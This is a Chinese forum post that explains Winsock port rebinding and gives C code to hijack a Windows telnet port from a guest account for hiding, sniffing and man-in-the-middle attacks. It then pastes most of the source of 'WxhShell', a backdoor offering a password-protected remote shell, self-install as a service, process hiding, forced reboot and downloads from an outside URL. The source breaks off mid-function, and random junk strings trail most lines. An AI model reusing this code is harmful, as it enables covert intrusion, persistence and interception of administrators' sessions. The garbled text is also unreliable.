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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sL^yB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U|@V 74  
h7yqk4'Lq  
  saddr.sin_family = AF_INET; Ev9 >@~^  
$ uh z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); izZ=d5+K  
06 mlj6hV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4Ysb5m)u  
{i [y9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OB-Q /?0  
`BY&>WY[  
  这意味着什么?意味着可以进行如下的攻击: uQqWew8l+  
6^)}PX= *  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gTf|^?vd  
oPQtGl p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [xZU!=  
OMrc_)he\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $V>yXhTh  
r[txlQI9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +T{'V^  
#{J,kcxS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O4iC]5@  
rN/| (@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /JJw 6[ N  
n,'OiVl[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h9s >LY  
&1|?BZv  
  #include K>/%X!RW  
  #include \2C`<h$fN  
  #include (bp9Pjw  
  #include    D=r))  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Iah[j,]r  
  int main() 0s#Kp49-  
  { 9N8I ip]w  
  WORD wVersionRequested; M8&}j  
  DWORD ret; G$M9=@Ug  
  WSADATA wsaData; 'lz "2@4{  
  BOOL val; 0(TTw(;  
  SOCKADDR_IN saddr; RFaSwf,5n  
  SOCKADDR_IN scaddr; J([s5:.[  
  int err; Z|lU8`'5  
  SOCKET s; `# P$ ]:  
  SOCKET sc; S$q =;"  
  int caddsize; / |r'  
  HANDLE mt; o{:xp r=(  
  DWORD tid;   #-VMg+14  
  wVersionRequested = MAKEWORD( 2, 2 ); hfWFD,  
  err = WSAStartup( wVersionRequested, &wsaData ); NpP')m!`}  
  if ( err != 0 ) { <UP m=Hb  
  printf("error!WSAStartup failed!\n"); 7, } $u  
  return -1; ~&dyRt W4  
  } feM6K!fL`  
  saddr.sin_family = AF_INET; bUwn}_7b  
   hZXXBp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =wWpP-J&  
V9yl4q-bL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s ^Nw%KAv  
  saddr.sin_port = htons(23); \Q?ip&R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rqPo)AL  
  { ]}="m2S3  
  printf("error!socket failed!\n"); `r"+644  
  return -1; gV;H6"  
  } e}Vw!w  
  val = TRUE; B!]2Se2G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !|hoYU>@2L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LkruL_E>  
  { ,_.I\EY[  
  printf("error!setsockopt failed!\n"); }Db[ 4  
  return -1; 3g'S\ G@  
  } s8"8y`u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {P%9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yF}OfK?0f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ))kF<A_MK  
z G }?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;ea] $9  
  { z;f2*F  
  ret=GetLastError(); pIV-kI:w  
  printf("error!bind failed!\n"); 1@48BN8cm'  
  return -1; \*hrW(   
  } d_UN0YT<  
  listen(s,2); B(a-k?  
  while(1) v4,h&JLt  
  { 8I20*#  
  caddsize = sizeof(scaddr); }U~6^2 .,  
  //接受连接请求 wcSyw2D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }0#U;_;D  
  if(sc!=INVALID_SOCKET) r`y ezbG  
  { u-D dq~;|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hd\gH^wk  
  if(mt==NULL) *K!|@h{60  
  { /n~\\9#3  
  printf("Thread Creat Failed!\n"); EKEjv|_)  
  break; ;h6v@)#GX  
  } _ nA p6i  
  } k(>h^  
  CloseHandle(mt); @bM2{Rh:  
  } &X@Bs-  
  closesocket(s); l& 4,v  
  WSACleanup(); <U5wB]]  
  return 0; uzmk6G v  
  }   4'j sDcs  
  DWORD WINAPI ClientThread(LPVOID lpParam) F^"_TV0va  
  { `e9$,h|4  
  SOCKET ss = (SOCKET)lpParam; <~}7Mxn%x@  
  SOCKET sc; M#"524Nz  
  unsigned char buf[4096]; 4a0:2 kIKa  
  SOCKADDR_IN saddr; 7Dzuii?1  
  long num; !-2R;yo12  
  DWORD val; 0N[&3Ee8  
  DWORD ret; d2oh/j6`TA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WARb"8Kg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }I|u'#n_  
  saddr.sin_family = AF_INET; 3 &u_A?;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8`4<R6]LKB  
  saddr.sin_port = htons(23); M` q?Fk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E J$36  
  { 1c3TN#|)W  
  printf("error!socket failed!\n"); >_rha~   
  return -1; N8qDdr9p?c  
  } 8h3=b[  
  val = 100; P 71(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [Vd[-  
  { *Do/+[Ae  
  ret = GetLastError(); ur :i)~wXn  
  return -1; +4[^!q* H  
  } s2?T5oWU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b KTcZG  
  { rG#Z=*b%  
  ret = GetLastError(); Nx{$}  
  return -1; A+y  
  } ;\EiM;Q]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CTWn2tpW  
  { t+5E#!y  
  printf("error!socket connect failed!\n"); 8N:owK  
  closesocket(sc); &_JD)mM5  
  closesocket(ss); CkJCi  
  return -1; Gl1jxxd  
  } ,Jcm+ Wb  
  while(1) `cPywn@uGZ  
  { rl9. ]~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?$f)&O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uwRr LF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wi9DhVvc 0  
  num = recv(ss,buf,4096,0); 0ye!R   
  if(num>0) u0P)7~%  
  send(sc,buf,num,0); .sQ=;w/ZA  
  else if(num==0) [M.f-x:  
  break; k >t )g-,2  
  num = recv(sc,buf,4096,0); (`SRJ$~f  
  if(num>0) qo<&J f  
  send(ss,buf,num,0); *x)Ozfe  
  else if(num==0) UzXE_ S  
  break; &/Ro lIHF  
  } 2X:4CC%5  
  closesocket(ss); t){"Tf c:  
  closesocket(sc); 2o>)7^9|#<  
  return 0 ; 83;NIE;  
  } }FzqW*4~  
PW3GL3+  
ypJ".  
========================================================== D;UV&.$'v  
S1D@vnZ3O\  
下边附上一个代码,,WXhSHELL ^Rx9w!pAN  
Vi4~`;|&b+  
========================================================== kId n6 Wx,  
A AHt218  
#include "stdafx.h" .uNQBBNv  
`%09xMPu  
#include <stdio.h> mhW-J6u*  
#include <string.h> +~xnXb1  
#include <windows.h> &$`yo`  
#include <winsock2.h> DGevE~  
#include <winsvc.h> F)z;Z6{t4  
#include <urlmon.h> ^$&k5e/}C  
E*#]**  
#pragma comment (lib, "Ws2_32.lib") #Rg|BfV-  
#pragma comment (lib, "urlmon.lib") p{PE@KO:  
-s9P 8W  
#define MAX_USER   100 // 最大客户端连接数 7}*6#KRG  
#define BUF_SOCK   200 // sock buffer WM)-J^)BJ  
#define KEY_BUFF   255 // 输入 buffer 9;?UvOI;  
54rkC/B>  
#define REBOOT     0   // 重启 97K[(KE  
#define SHUTDOWN   1   // 关机 ljK rj  
88c<:fK  
#define DEF_PORT   5000 // 监听端口 $lhC{&tBV  
Q,&/V_  
#define REG_LEN     16   // 注册表键长度 e^ lWR]v  
#define SVC_LEN     80   // NT服务名长度 ]v#r4Ert  
u_7~TE3W  
// 从dll定义API *>VVt8*Et  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ Ro!"YVX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &W f3~hmo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >5Wlc$bc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yq(G;mjM  
/m!Cc/Hv  
// wxhshell配置信息 Z3!f^vAi&  
struct WSCFG { bFA!=uvA  
  int ws_port;         // 监听端口 e@{i  
  char ws_passstr[REG_LEN]; // 口令 0oEOre3^%  
  int ws_autoins;       // 安装标记, 1=yes 0=no z&V+#Ws/  
  char ws_regname[REG_LEN]; // 注册表键名 PQ@L+],C  
  char ws_svcname[REG_LEN]; // 服务名 kNqH zo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [o*7FEM|<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Yq$s U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c{[q>@y pK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A>{p2?`+!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fq9Q+RNMZL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zD3mX<sw  
9<K j6t_  
}; l3nrEk  
}8;[O 9  
// default Wxhshell configuration w,R[C\#J  
struct WSCFG wscfg={DEF_PORT, P;pl,~  
    "xuhuanlingzhe", 2>*%q%81  
    1, e[Abp~@M1  
    "Wxhshell", =TqQbadp  
    "Wxhshell", -48vJR*tC  
            "WxhShell Service", vP+@z-O  
    "Wrsky Windows CmdShell Service", waKT{5k  
    "Please Input Your Password: ", aTf`BG{kw  
  1, "TH6o: x  
  "http://www.wrsky.com/wxhshell.exe", R0oKbs{  
  "Wxhshell.exe" :{(w3<i  
    }; $<ld3[l i  
~^+0  
// 消息定义模块 .Vq)zi1<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]tY ^0a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dde]I_f}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r=c<--_@  
char *msg_ws_ext="\n\rExit."; N25V ]  
char *msg_ws_end="\n\rQuit."; ;;A2!w{}[i  
char *msg_ws_boot="\n\rReboot..."; 97)/"i e  
char *msg_ws_poff="\n\rShutdown..."; m[k_>e\ u  
char *msg_ws_down="\n\rSave to "; 85;b9k&\M  
':R,53tjl  
char *msg_ws_err="\n\rErr!"; y,pZTlE  
char *msg_ws_ok="\n\rOK!"; )/t?!T.[  
uytE^  
char ExeFile[MAX_PATH]; T)\"Xj  
int nUser = 0; 9M"].~iNE  
HANDLE handles[MAX_USER]; W5#611  
int OsIsNt; I7^zU3]Ul  
7^T^($+6s&  
SERVICE_STATUS       serviceStatus; zS] 8V?`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7)%+=@  
67y Tvr@a  
// 函数声明 h_d<!  
int Install(void); CkswJ:z)sc  
int Uninstall(void); .G o{1[  
int DownloadFile(char *sURL, SOCKET wsh); cwV]!=RtO  
int Boot(int flag); 5[n(7;+gw  
void HideProc(void); gl&5l1&  
int GetOsVer(void); r < cVp^  
int Wxhshell(SOCKET wsl); 3Tq\BZ  
void TalkWithClient(void *cs); WMMO5_M z  
int CmdShell(SOCKET sock); Y?534l)j  
int StartFromService(void); aTBR|U S  
int StartWxhshell(LPSTR lpCmdLine); ,C {*s$  
f3|@|' ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fqu}Le  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9_sA&2P{uV  
rxme(9M  
// 数据结构和表定义 *%vwM7  
SERVICE_TABLE_ENTRY DispatchTable[] = Dz./w  
{ Q?AmOo-a  
{wscfg.ws_svcname, NTServiceMain}, N$[$;Fm:  
{NULL, NULL} 9C t`  
}; yPw'] "  
Tlj:%yK2  
// 自我安装 ^*~;k|;&  
int Install(void) n4lutnF  
{ exdx\@72  
  char svExeFile[MAX_PATH]; nADX0KI  
  HKEY key; hp"L8w  
  strcpy(svExeFile,ExeFile); ^t7x84jhL  
g/CxXSv@0  
// 如果是win9x系统,修改注册表设为自启动 [31p&FxM  
if(!OsIsNt) { 4d:{HLX,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PR|R`.QSs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,#W  
  RegCloseKey(key); s( <uo{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D#S\!>m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6!^[];%xN  
  RegCloseKey(key); 8P: Rg%0)  
  return 0; j PnM>=  
    } Quf_'  
  } )bx_;9Y{  
} `"@X.}\  
else { m`6Yc:@E  
A8A ~!2V  
// 如果是NT以上系统,安装为系统服务 oUQ07z\C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Mvd'.r<;  
if (schSCManager!=0) a^5^gId5l!  
{ A[WV'!A,  
  SC_HANDLE schService = CreateService ceGa([#!\_  
  ( e4FM} z[  
  schSCManager, 1y^K/.5-  
  wscfg.ws_svcname, )6~1 ^tD  
  wscfg.ws_svcdisp, d3^OEwe  
  SERVICE_ALL_ACCESS, Jx#k,Z4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v+"rZ  
  SERVICE_AUTO_START, H UoyLy  
  SERVICE_ERROR_NORMAL, !6&W,0<  
  svExeFile, [#YE^[*qK  
  NULL, H&b3{yOa  
  NULL, qz4^{  
  NULL, CXtU"X  
  NULL, t?nX=i*~]  
  NULL %7`f{|.  
  ); !QmzrX}h  
  if (schService!=0) 63?)K s  
  { :Sg_t Of  
  CloseServiceHandle(schService); xyr+_k-x&q  
  CloseServiceHandle(schSCManager); (wmBjQ]B<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wiX~D  
  strcat(svExeFile,wscfg.ws_svcname); hC_Vts[v/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,%bhyww<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U=sh[W  
  RegCloseKey(key); 56hA]O29O  
  return 0; NvjJ b-u  
    } 7t9c7HLuj/  
  } :T3/yd62N  
  CloseServiceHandle(schSCManager); &4dz}zz90  
} AGA`fRVx  
} =OJ;0 /$6  
,a?\M M9$  
return 1; 1p`+  
} /9y aW7w  
S'~o,`xy  
// 自我卸载 +D#Zn!P  
int Uninstall(void) 8&"(WuZ@  
{ zq5'i!s !0  
  HKEY key; z<gu00U7  
 t4Z  
if(!OsIsNt) { mmw^{MK!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q '(ihUq*k  
  RegDeleteValue(key,wscfg.ws_regname); =G~~?>=@2  
  RegCloseKey(key); !A8^Xmz"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (wRBd  
  RegDeleteValue(key,wscfg.ws_regname); =\)IaZ  
  RegCloseKey(key); #0b&^QL  
  return 0; b4Y8N"hL%  
  } pO<-.,  
} 6)\dBOz  
} nA>sHy  
else { 2W M\e lnA  
5sde  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KRsAv^']  
if (schSCManager!=0) iNCX:Y  
{ *0Gz)'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v}J;ZIb  
  if (schService!=0) i54md$Q^  
  { ^C&+ ~+  
  if(DeleteService(schService)!=0) { p<WFqLe(":  
  CloseServiceHandle(schService); 7=4A;Ybq  
  CloseServiceHandle(schSCManager); VVWM9x  
  return 0; q&'Lbxc>c  
  } /.5;in  
  CloseServiceHandle(schService); .V6-(d  
  } E& 36H  
  CloseServiceHandle(schSCManager); A CNfS9M_w  
} 2=PBxDs;  
} ghk5rl$   
e`{0d{Nd  
return 1; @D`zKYwX1  
} i`%.  
;)DzC c/  
// 从指定url下载文件 z}}]jR \y?  
int DownloadFile(char *sURL, SOCKET wsh) V9x8R  
{ e1 *__'  
  HRESULT hr; ,$r2gr!_G  
char seps[]= "/"; X_; *`,<T  
char *token; B'>*[!A  
char *file; bm&87  
char myURL[MAX_PATH]; A,~Hlw  
char myFILE[MAX_PATH]; ]0c Pml  
IKvBf'%-  
strcpy(myURL,sURL); ^c9ThV.v  
  token=strtok(myURL,seps); J."{<&  
  while(token!=NULL) fUag1d  
  { w5]"ga>Y  
    file=token; Q F-)^`N  
  token=strtok(NULL,seps); .BTx&AqU  
  } !jS4!2'  
hN`gB#N3  
GetCurrentDirectory(MAX_PATH,myFILE); 7INk_2  
strcat(myFILE, "\\"); ioIv=qGdiP  
strcat(myFILE, file); o%(bQV-T  
  send(wsh,myFILE,strlen(myFILE),0); /L) 9tt.  
send(wsh,"...",3,0); MQcE6)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5{ >0eFzG  
  if(hr==S_OK) 6X+}>qy  
return 0; ){Z  
else '\p;y7N  
return 1; SqB/4P   
m>Ux`Gp+  
} UFZ"C,  
RJ J1  
// 系统电源模块 Ph7pd  
int Boot(int flag) d O A%F$Mk  
{ _[E\=  
  HANDLE hToken; xi {|  
  TOKEN_PRIVILEGES tkp; }F{=#Kqn^  
O OlTrLL  
  if(OsIsNt) { +!&$SNLh(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :B#EqeI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y~#\#w {  
    tkp.PrivilegeCount = 1; ZW ye> ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2o{@nN8%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %= u/3b:o  
if(flag==REBOOT) { $>vy(Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m^$5K's&  
  return 0; qMgfMhQ7DU  
} ^E@@YV  
else { '_Wt }{h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #MTj)P,  
  return 0; 5}<[[}(  
} %<U{K;  
  } <*@~n- R$  
  else { $^vP<  
if(flag==REBOOT) { ;e;\q;GP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >_Uj?F:  
  return 0; }z'DWp=uN  
} Tx+ p8J|Yr  
else { g5R,% 6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #4y,a_)  
  return 0; A o3HX  
} 1k>naf~O  
} gg8c7d:Q  
GJak.,0t  
return 1; *C_[jk@6  
} 1)U} i ^  
F!CAitxd  
// win9x进程隐藏模块 Dr 'sIH^  
void HideProc(void) [,7-w  
{ ('WY5Yps  
D9^7m j?e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z\!rH "8  
  if ( hKernel != NULL ) *( *z|2  
  { agY5Dg7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kfjryo9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ="lI i$>O  
    FreeLibrary(hKernel); 8IWw jyRr  
  } *CUdGI&  
vv h.@f  
return; aYj%w  
} XM!M%.0WS  
=h\E<dw  
// 获取操作系统版本 "]<}Hy  
int GetOsVer(void) ]31$KBC  
{ F50 JJZ  
  OSVERSIONINFO winfo; px [~=$F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )VY10 R)$  
  GetVersionEx(&winfo); 5+y`P$K@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "A7<XN<  
  return 1; !Zj#.6c9  
  else K`gc 4:A  
  return 0; YKq0f=Ij  
} L1MrrC  
lM&UFEl-\  
// 客户端句柄模块 ;Vo mFp L  
int Wxhshell(SOCKET wsl) =, TSMV  
{ U?EG6t  
  SOCKET wsh; (fd[P|G_]  
  struct sockaddr_in client;  QT_^M1%  
  DWORD myID; )d_U)b7i  
#01/(:7  
  while(nUser<MAX_USER) [|z'"Gk{  
{ WgZ@N  
  int nSize=sizeof(client); ".M:`BoW4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 28+HKbgK  
  if(wsh==INVALID_SOCKET) return 1; @H4wHlb  
kd`YSkZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EP0a1.C  
if(handles[nUser]==0) OequU'j  
  closesocket(wsh); )]}$   
else t[q3 {-  
  nUser++; h&$Py  
  } I9,8HtnA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I}ndRDz[  
.pKN4  
  return 0; zi_[ V@Es/  
} e#m1X6$.e  
4L $};L  
// 关闭 socket i]@c.Q iFN  
void CloseIt(SOCKET wsh) YR8QO-7 .)  
{ D{3fhPNU<b  
closesocket(wsh); XJ\_ V[WA  
nUser--;  2+Vp'5>&  
ExitThread(0); 6,zDBax  
} ]wR6bEm7  
p`L L   
// 客户端请求句柄 ex:3ua$N  
void TalkWithClient(void *cs) th9 0O|;  
{ y0y+%H-  
qAbd xd[  
  SOCKET wsh=(SOCKET)cs; -rRz@Cr  
  char pwd[SVC_LEN]; e~*S4dKR  
  char cmd[KEY_BUFF]; Ss+F9J  
char chr[1]; LiF.w:}  
int i,j; ^Wk0*.wg  
R1~7F{FW  
  while (nUser < MAX_USER) { BMF3XcH~G  
',%5mF3j  
if(wscfg.ws_passstr) { pdy+h{]3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eoJFh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G*=H;Upi  
  //ZeroMemory(pwd,KEY_BUFF); 4(;20(q]  
      i=0; CCy .  
  while(i<SVC_LEN) { wV?[3bEhM  
+ f6}p  
  // 设置超时 wb@]>MJ}[s  
  fd_set FdRead; 6XZN>#  
  struct timeval TimeOut; .GtINhz*  
  FD_ZERO(&FdRead); 6eOxF8  
  FD_SET(wsh,&FdRead); )biX8yq hR  
  TimeOut.tv_sec=8; |B,dEx/uU  
  TimeOut.tv_usec=0; NrW[Q 3E$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JfR kp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zq9>VqGe  
9/^d~ ZO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); we @Yw6<  
  pwd=chr[0]; y.%i  
  if(chr[0]==0xd || chr[0]==0xa) { cx<h_  
  pwd=0; vDWr|M%``l  
  break; DU(X,hDBF  
  } Scf.4~H 0  
  i++; &,F elB0*  
    } 40rZ~!}  
;\1b{-' l  
  // 如果是非法用户,关闭 socket 5,Qy/t}K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9B& }7kk  
} >&g2 IvDS  
0;'j!`l9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;A`IYRzt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Z >JvTnH  
OrzM hQaf  
while(1) { r';Hxa '  
I<IC-k"Y  
  ZeroMemory(cmd,KEY_BUFF); McO@p=M  
9j9Y Q2  
      // 自动支持客户端 telnet标准   O#A8t<f|M  
  j=0; 0,+EV,  
  while(j<KEY_BUFF) { g521Wdtnn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1fmSk$ y.9  
  cmd[j]=chr[0]; T %$2k>  
  if(chr[0]==0xa || chr[0]==0xd) { @^B S#  
  cmd[j]=0; 2J1B$.3'  
  break;  `NTM%# w  
  } 3KB| NS  
  j++; V,`!rJ  
    } ~D$#>'C#  
9T?~$XlX  
  // 下载文件 wA{*W>i  
  if(strstr(cmd,"http://")) { LNWqgIq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {H/8#y4qp&  
  if(DownloadFile(cmd,wsh)) V}j %gy`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NU BpIx&  
  else 5+o 2 T]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{a Q1)  
  } tvG g@Xs\  
  else { hqdC9?\  
`8.1&fBr  
    switch(cmd[0]) { IY-(- a8  
  X L{{7%j  
  // 帮助 HCI'q\\  
  case '?': { yIn/Y0No  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gNG0k$nP  
    break; vsOdp:Yp9!  
  } B4PW4>GF  
  // 安装 JS }_q1H  
  case 'i': { @2)t#~Wc4h  
    if(Install()) q}wl_ku9+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gK&5HTo  
    else %g2/ o^c*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GGYX!=]~  
    break; oHv{Y  
    } @2-Hj~  
  // 卸载 s|fCR  
  case 'r': { jAD+:@  
    if(Uninstall()) m9\@kA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z36brv<_'p  
    else PmuEL@'^ U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N` @W%  
    break; =*@MQ  
    } 4f_ZY5=  
  // 显示 wxhshell 所在路径 3sd{AkD^  
  case 'p': { P2A]qX  
    char svExeFile[MAX_PATH]; 5WrIg(l  
    strcpy(svExeFile,"\n\r"); O6*'gnke  
      strcat(svExeFile,ExeFile); * ePDc'   
        send(wsh,svExeFile,strlen(svExeFile),0); 5P5A,K  
    break; PEOM1oY)w  
    } (**-"o]HH  
  // 重启 ::^qy^n  
  case 'b': { jV(xYA3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1R^XWAb  
    if(Boot(REBOOT)) nsM>%+o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ze#rYNvo/  
    else { Ngm O0H  
    closesocket(wsh); pe`TH::p  
    ExitThread(0); 2tg/S=t}  
    } :pL1F)-*  
    break; M6o xtt4  
    } {ziYd;Ys1  
  // 关机 u&?yPR  
  case 'd': { o>/uW8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s= -WB0E  
    if(Boot(SHUTDOWN)) i} NkHEK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E< io^  
